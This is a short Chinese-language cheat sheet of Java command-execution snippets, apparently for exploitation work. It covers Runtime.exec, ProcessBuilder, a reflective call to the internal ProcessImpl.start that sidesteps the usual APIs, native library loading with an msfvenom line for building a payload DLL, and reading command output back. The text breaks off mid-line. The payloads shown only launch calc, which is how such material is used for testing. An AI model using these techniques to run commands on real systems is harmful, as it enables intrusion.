命令执行1Runtime.getRuntime().exec("calc");命令执行2new ProcessBuilder("cmd", "/c calc").start();命令执行3String [] cmd={"cmd.exe","/c","calc"};Class processimpl=Class.forName("java.lang.ProcessImpl");java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);m1.setAccessible(true);Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);加载动态链接库NativeLibLoader.loadLibrary("calc");//windows会默认增加.dll后缀,linux会增加.so//linux gcc编译即可,windows如下//msfvenom -p windows/x64/exec cmd="calc.exe" exitfunc=thread -f dll -o calc.dl命令回显1Process process = Runtime.getRuntime().exec("cmd.exe /c "+"ipconfig");InputStream in = process.getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(in));String line;StringBuilder sb = new StringBuilder();while ((line = br.readLine()) != null) {sb.append(line).a
………………………………